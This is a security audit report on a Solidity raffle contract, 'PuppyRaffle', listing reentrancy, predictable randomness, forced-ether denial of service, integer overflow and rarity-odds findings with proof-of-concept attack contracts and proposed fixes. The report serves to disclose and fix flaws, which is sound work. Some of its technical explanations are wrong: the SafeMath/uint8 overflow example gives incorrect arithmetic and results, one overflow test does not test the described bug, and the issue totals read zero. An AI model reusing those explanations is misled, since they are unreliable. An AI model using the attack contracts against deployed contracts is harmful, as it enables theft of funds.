PuppyRaffle Audit Report

Version 1.0

Chornyi.io

July 26, 2024

Protocol Audit Report

Artem Chornyi

July 26, 2024

Prepared by: Artem Chornyi Lead Auditors: - Artem Chornyi

Table of Contents

    * [H-06] Overflow/Underflow vulnerabilty for any version before 0.8.0
  - Medium
    * [M-01] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless
    * [M-02] Impossible to win raffle if the winner is a smart contract without a fallback function
  - Low
    * [L-01] Ambiguous index returned from PuppyRaffle::getActivePlayerIndex(address), leading to possible refund failures
    * [L-02] Participants are mislead by the rarity chances.
    * [L-03] Total entrance fee can overflow leading to the user paying little to nothing
  - Informational
  - Gas

Protocol Summary

This project is designed to enable participants to enter a raffle to win a cute dog NFT. The protocol ensures fairness and transparency by managing participants, handling refunds, and drawing a winner at regular intervals.

Disclaimer

The Artem Chornyi team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

			Impact	
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
|-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

The security audit for the Puppy Raffle was conducted to evaluate its security posture and identify potential vulnerabilities. This audit was performed by a dedicated team of one security researcher over the course of two day. The team conducted a thorough review, including manual code analysis and automated security testing tools, to ensure comprehensive coverage of potential security issues.

Issues found

Severtity	Number of issues dound
High	6
Medium	2
Low	3
Info	0
Gas	0
Total	0

Findings

High

[H-01] Potential Loss of Funds During Prize Pool Distribution

Description: In the `selectWinner` function, when a player has refunded and their address is replaced with address(0), the prize money may be sent to address(0), resulting in fund loss.

In the `refund` function if a user wants to refund his money then he will be given his money back and his address in the array will be replaced with `address(0)`. So lets say `Alice` entered in the raffle and later decided to refund her money then her address in the `player` array will be replaced with `address(0)`. And lets consider that her index in the array is `7th` so currently there is `address(0)` at `7th index`, so when `selectWinner` function will be called there isn't any kind of check that this 7th index can't be the winner so if this `7th` index will be declared as winner then all the prize will be sent to him which will actually lost as it will be sent to `address(0)`

Impact: Loss of funds if they are sent to address(0), posing a financial risk.

Recommendations: Implement additional checks in the `selectWinner` function to ensure that prize money is not sent to `address(0)`

[H-02] Reentrancy Vulnerability In refund() function

Description: The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated.

Impact: If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users.

```
PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross
    function reentrancies:
- PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92)
- PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol
    #110-117)
- PuppyRaffle.players (src/PuppyRaffle.sol#23)
- PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105)
- PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154)
```

POC

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "./PuppyRaffle.sol";

contract AttackContract {
    PuppyRaffle public puppyRaffle;
    uint256 public receivedEther;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() public payable {
        require(msg.value > 0);

        // Create a dynamic array and push the sender's address
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: msg.value}(players);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= msg.value) {
            receivedEther += msg.value;

            // Find the index of the sender's address
            uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
                address(this));

            if (playerIndex > 0) {
                // Refund the sender if they are in the raffle
                puppyRaffle.refund(playerIndex);
            }
        }
    }
}
```

Recommendations: To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Here's how you can modify the refund function:

```
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
    refund");
require(playerAddress != address(0), "PuppyRaffle: Player already
    refunded, or is not active");

// Update the state before sending Ether
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);

// Now it's safe to send Ether
(bool success, ) = payable(msg.sender).call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund");


}
```

This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

[H-03] Randomness can be gamed

Description: The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element.

Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT.

Impact: Critical

POC

```
// SPDX-License-Identifier: No-License

pragma solidity 0.7.6;

interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;

    function getPlayersLength() external view returns (uint256);

    function selectWinner() external;
}

contract Attack {
    IPuppyRaffle raffle;

    constructor(address puppy) {
        raffle = IPuppyRaffle(puppy);
    }

    function attackRandomness() public {
        uint256 playersLength = raffle.getPlayersLength();

        uint256 winnerIndex;
        uint256 toAdd = playersLength;
        while (true) {
            winnerIndex =
                uint256(
                    keccak256(
                        abi.encodePacked(
                            address(this),
                            block.timestamp,
                            block.difficulty
                        )
                    )
                ) %
                toAdd;

            if (winnerIndex == playersLength) break;
            ++toAdd;
        }
        uint256 toLoop = toAdd - playersLength;

        address[] memory playersToAdd = new address[](toLoop);
        playersToAdd[0] = address(this);

        for (uint256 i = 1; i < toLoop; ++i) {
            playersToAdd[i] = address(i + 100);
        }

        uint256 valueToSend = 1e18 * toLoop;
        raffle.enterRaffle{value: valueToSend}(playersToAdd);
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

Recommendations: Use Chainlink's VRF to generate a random number to select the winner.

[H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert

Description

`PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with address(0) which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player.

```
players[playerIndex] = address(0);

@> uint256 totalAmountCollected = players.length * entranceFee;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has :

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;

(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80% …). The call will thankfully still fail because of the following line is minting to the zero address is not allowed.

```
 _safeMint(winner, tokenId);
```

Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner`will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high

PoC To execute this test : forge test –mt testWinnerSelectionRevertsAfterExit -vvvv

```
function testWinnerSelectionRevertsAfterExit() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // There are four winners. Winner is last slot
        vm.prank(playerFour);
        puppyRaffle.refund(3);

        // reverts because out of Funds
        vm.expectRevert();
        puppyRaffle.selectWinner();

        vm.deal(address(puppyRaffle), 10 ether);
        vm.expectRevert("ERC721: mint to the zero address");
        puppyRaffle.selectWinner();

    }
```

Recommendations Delete the player index that has refunded.

```
-   players[playerIndex] = address(0);

+    players[playerIndex] = players[players.length - 1];
+    players.pop()
```

[H-05] Typecasting from uint256 to uint64 in PuppyRaffle.selectWinner() May Lead to Overflow and Incorrect Fee Calculation

Description

The type conversion from uint256 to uint64 in the expression 'totalFees = totalFees + uint64(fee)' may potentially cause overflow problems if the 'fee' exceeds the maximum value that a uint64 can accommodate (2ˆ64 - 1).

```
        totalFees = totalFees + uint64(fee);
```

POC

Code

```
function testOverflow() public {
        uint256 initialBalance = address(puppyRaffle).balance;

        // This value is greater than the maximum value a uint64 can
            hold
        uint256 fee = 2**64;

        // Send ether to the contract
        (bool success, ) = address(puppyRaffle).call{value: fee}("");
        assertTrue(success);

        uint256 finalBalance = address(puppyRaffle).balance;

        // Check if the contract's balance increased by the expected
            amount
        assertEq(finalBalance, initialBalance + fee);
    }
```

In this test, assertTrue(success) checks if the ether was successfully sent to the contract, and assertEq(finalBalance, initialBalance + fee) checks if the contract's balance increased by the expected amount. If the balance didn't increase as expected, it could indicate an overflow.

Impact This could consequently lead to inaccuracies in the computation of 'totalFees'.

Recommendations To resolve this issue, you should change the data type of `totalFees` from `uint64` to `uint256`. This will prevent any potential overflow issues, as `uint256` can accommodate much larger numbers than `uint64`. Here's how you can do it:

Change the declaration of `totalFees` from:

```
uint64 public totalFees = 0;
```

to:

```
uint256 public totalFees = 0;
```

And update the line where `totalFees` is updated from:

```
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

This way, you ensure that the data types are consistent and can handle the range of values that your contract may encounter.

[H-06] Overflow/Underflow vulnerabilty for any version before 0.8.0

Description The PuppyRaffle.sol uses Solidity compiler version 0.7.6. Any Solidity version before 0.8.0 is prone to Overflow/Underflow vulnerability. Short example - a `uint8 x;` can hold 256 values (from 0 - 255). If the calculation results in `x` variable to get 260 as value, the extra part will overflow and we will end up with 5 as a result instead of the expected 260 (because 260-255 = 5).

I have two example below to demonstrate the problem of overflow and underflow with versions before 0.8.0, and how to fix it using safemath:

Without `SafeMath`:

```
function withoutSafeMath() external pure returns (uint256 fee){
    uint8 totalAmountCollected = 20;
    fee = (totalAmountCollected * 20) / 100;
    return fee;
}
// fee: 1
// WRONG!!!
```

In the above code,`without safeMath`, 20x20 (totalAmountCollected * 20) was 400, but 400 is beyond the limit of uint8, so after going to 255, it went back to 0 and started counting from there. So, 400-255 = 145. 145 was the result of 20x20 in this code. And after dividing it by 100, we got 1.45, which the code showed as 1.

With `SafeMath`:

```
function withSafeMath() external pure returns (uint256 fee){
    uint8 totalAmountCollected = 20;
    fee =  totalAmountCollected.mul(20).div(100);
    return fee;
}
//  fee: 4
//  CORRECT!!!!
```

This code didnt suffer from Overflow problem. Because of the safeMath, it was able to calculate 20x20 as 400, and then divided it by 100, to get 4 as result.

Impact Depending on the bits assigned to a variable, and depending on whether the value assigned goes above or below a certain threshold, the code could end up giving unexpected results. This unexpected OVERFLOW and UNDERFLOW will result in unexpected and wrong calculations, which in turn will result in wrong data being used and presented to the users.

Recommendations Modify the code to include SafeMath:

1. First import SafeMath from openzeppelin:

```
import "@openzeppelin/contracts/math/SafeMath.sol";
```

2. then add the following line, inside PuppyRaffle Contract:

```
using SafeMath for uint256;
```

(can also add safemath for uint8, uint16, etc as per need)

3. Then modify the `require` inside `enterRaffle()` `function`:

```
- require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
   Must send enough to enter raffle");
+ uint256 totalEntranceFee = newPlayers.length.mul(entranceFee);
+ require(msg.value == totalEntranceFee, "PuppyRaffle: Must send enough
    to enter raffle");
```

3. Then modify variables (`totalAmountCollected`, `prizePool`, `fee`, and `totalFees`) inside `selectWinner()` function:

```
- uint256 totalAmountCollected = players.length * entranceFee;
+ uint256 totalAmountCollected = players.length.mul(entranceFee);

- uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 prizePool = totalAmountCollected.mul(80).div(100);

- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 fee = totalAmountCollected.mul(20).div(100);

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees.add(fee);
```

This way, the code is now safe from Overflow/Underflow vulnerabilities.

Medium

[M-01] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function.

The withdraw function contains the following check:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above `PuppyRaffleTest`:

```
contract Kill {
    constructor  (address target) payable {
        address payable _target = payable(target);
        selfdestruct(_target);
    }
}
```

Modify `setUp` as follows:

```
    function setUp() public {
        puppyRaffle = new PuppyRaffle(
            entranceFee,
            feeAddress,
            duration
        );
        address mAlice = makeAddr("mAlice");
        vm.deal(mAlice, 1 ether);
        vm.startPrank(mAlice);
        Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
        vm.stopPrank();
    }
```

Now run `testWithdrawFees()` - `forge test --mt testWithdrawFees` to get:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!]
    testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
```

Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract.

Impact All fees that weren't withdrawn and all future fees are stuck in the contract.

Recommendations

Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it.

```
    function withdrawFees() external {
--      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-02] Impossible to win raffle if the winner is a smart contract without a fallback function

Summary If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive()payable` or `fallback()payable` functions, it is not possible to send ether to the program.

ImpactThe protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function

Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction.

We can easily implement this check into the function because of the Adress library from OppenZeppelin.

I'll add this replace `enterRaffle()` with these lines of code:

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(Address.isContract(newPlayers[i]) == false, "The players
            need to be EOAs");
        players.push(newPlayers[i]);
    }

    // Check for duplicates
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }

    emit RaffleEnter(newPlayers);
}
```

Low

[L-01] Ambiguous index returned from PuppyRaffle::getActivePlayerIndex(address), leading to possible refund failures

Summary The `PuppyRaffle::getActivePlayerIndex(address)` returns `0` when the index of this player's address is not found, which is the same as if the player would have been found in the first element in the array. This can trick calling logic to think the address was found and then attempt to execute a `PuppyRaffle::refund(uint256)`.

The `PuppyRaffle::refund()` function requires the index of the player's address to preform the requested refund.

```
/// @param playerIndex the index of the player to refund. You can find
    it externally by calling `getActivePlayerIndex`
function refund(uint256 playerIndex) public;
```

In order to have this index, `PuppyRaffle::getActivePlayerIndex(address)` must be used to learn the correct value.

```
/// @notice a way to get the index in the array
/// @param player the address of a player in the raffle
/// @return the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    int256) {
     // find the index...
     // if not found, then...
     return 0;
}
```

The logic in this function returns `0` as the default, which is as stated in the `@return` NatSpec. However, this can create an issue when the calling logic checks the value and naturally assumes `0` is a valid index that points to the first element in the array. When the players array has at two or more players, calling

`PuppyRaffle::refund()` with the incorrect index will result in a normal revert with the message "PuppyRaffle: Only the player can refund", which is fine and obviously expected.

On the other hand, in the event a user attempts to perform a `PuppyRaffle::refund()` before a player has been added the EvmError will likely cause an outrageously large gas fee to be charged to the user.

This test case can demonstrate the issue:

```
function testRefundWhenIndexIsOutOfBounds() public {
    int256 playerIndex = puppyRaffle.getActivePlayerIndex(playerOne);
    vm.prank(playerOne);
    puppyRaffle.refund(uint256(playerIndex));
}
```

The results of running this one test show about 9 ETH in gas:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: EvmError: Revert] testRefundWhenIndexIsOutOfBounds() (
    gas: 9079256848778899449)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 914.01
    us
```

Additionally, in the very unlikely event that the first player to have entered attempts to preform a `PuppyRaffle::refund()` for another user who has not already entered the raffle, they will unwittingly refund their own entry. A scenario whereby this might happen would be if `playerOne` entered the raffle for themselves and 10 friends. Thinking that `nonPlayerEleven` had been included in the original list and has subsequently requested a `PuppyRaffle::refund()`. Accommodating the request, `playerOne` gets the index for `nonPlayerEleven`. Since the address does not exist as a player, `0` is returned to `playerOne` who then calls `PuppyRaffle::refund()`, thereby refunding their own entry.

Impact

1. Exorbitantly high gas fees charged to user who might inadvertently request a refund before players have entered the raffle.
2. Inadvertent refunds given based in incorrect `playerIndex`.

Recommendations

1. Ideally, the whole process can be simplified. Since only the `msg.sender` can request a refund for themselves, there is no reason why `PuppyRaffle::refund()` cannot do the entire process in one call. Consider refactoring and implementing the `PuppyRaffle::refund()` function in this manner:

```
/// @dev This function will allow there to be blank spots in the array
```

```
function refund() public {
    require(_isActivePlayer(), "PuppyRaffle: Player is not active");
    address playerAddress = msg.sender;

    payable(msg.sender).sendValue(entranceFee);

    for (uint256 playerIndex = 0; playerIndex < players.length; ++
        playerIndex) {
        if (players[playerIndex] == playerAddress) {
            players[playerIndex] = address(0);
        }
    }
    delete existingAddress[playerAddress];
    emit RaffleRefunded(playerAddress);
}
```

Which happens to take advantage of the existing and currently unused `PuppyRaffle::_isActivePlayer()` and eliminates the need for the index altogether.

2. Alternatively, if the existing process is necessary for the business case, then consider refactoring the `PuppyRaffle::getActivePlayerIndex(address)` function to return something other than a `uint` that could be mistaken for a valid array index.

```
+    int256 public constant INDEX_NOT_FOUND = -1;
+    function getActivePlayerIndex(address player) external view
    returns (int256) {
-    function getActivePlayerIndex(address player) external view
    returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
-        return 0;
+        return INDEX_NOT_FOUND;
    }

    function refund(uint256 playerIndex) public {
+        require(playerIndex < players.length, "PuppyRaffle: No player
    for index");
```

[L-02] Participants are mislead by the rarity chances.

Summary The drop chances defined in the state variables section for the COMMON and LEGENDARY are misleading.

The 3 rarity scores are defined as follows:

```
    uint256 public constant COMMON_RARITY = 70;
    uint256 public constant RARE_RARITY = 25;
    uint256 public constant LEGENDARY_RARITY = 5;
```

This implies that out of a really big number of NFT's, 70% should be of common rarity, 25% should be of rare rarity and the last 5% should be legendary. The `selectWinners` function doesn't implement these numbers.

```
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

The `rarity` variable in the code above has a possible range of values within [0;99] (inclusive) This means that `rarity <= COMMON_RARITY` condition will apply for the interval [0:70], the `rarity <= COMMON_RARITY + RARE_RARITY` condition will apply for the [71:95] rarity and the rest of the interval [96:99] will be of `LEGENDARY_RARITY`

The [0:70] interval contains 71 numbers `(70 - 0 + 1)`

The [71:95] interval contains 25 numbers `(95 - 71 + 1)`

The [96:99] interval contains 4 numbers `(99 - 96 + 1)`

This means there is a 71% chance someone draws a COMMON NFT, 25% for a RARE NFT and 4% for a LEGENDARY NFT.

Impact Depending on the info presented, the raffle participants might be lied with respect to the chances they have to draw a legendary NFT.

Recommendations

Drop the = sign from both conditions:

```
--      if (rarity <= COMMON_RARITY) {
++      if (rarity < COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
--      } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
++      } else if (rarity < COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

[L-03] Total entrance fee can overflow leading to the user paying little to nothing

Summary Calling `PuppyRaffle::enterRaffle` with many addresses results in the user paying a very little fee and gaining an unproportional amount of entries.

`PuppyRaffle::enterRaffle` does not check for an overflow. If a user inputs many addresses that multiplied with `entranceFee` would exceed `type(uint256).max` the checked amount for `msg.value` overflows back to 0.

```
function enterRaffle(address[] memory newPlayers) public payable {
=>  require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
     Must send enough to enter raffle");
    ...
```

To see for yourself, you can paste this function into `PuppyRaffleTest.t.sol` and run `forge test --mt testCanEnterManyAndPayLess`.

```
function testCanEnterManyAndPayLess() public {
        uint256 entranceFee = type(uint256).max / 2 + 1; // half of max
             value
        puppyRaffle = new PuppyRaffle(
            entranceFee,
            feeAddress,
            duration
        );

        address[] memory players = new address[](2); // enter two
            players
        players[0] = playerOne;
        players[1] = playerTwo;

        puppyRaffle.enterRaffle{value: 0}(players); // user pays no fee
    }
```

This solidity test provides an example for an entranceFee that is slightly above half the max `uint256` value. The user can input two addresses and pay no fee. You could imagine the same working with lower base entrance fees and a longer address array.

Impact This is a critical high-severity vulnerability as anyone could enter multiple addresses and pay no fee, gaining an unfair advantage in this lottery. Not only does the player gain an advantage in the lottery. The player could also just refund all of his positions and gain financially.

Recommendations Revert the function call if `entranceFee * newPlayers.length` exceeds the `uint256` limit. Using openzeppelin's SafeMath library is also an option. Generally it is recommended to use a newer solidity version as over-/underflows are checked by default in `solidity >=0.8.0`.

Informational

Gas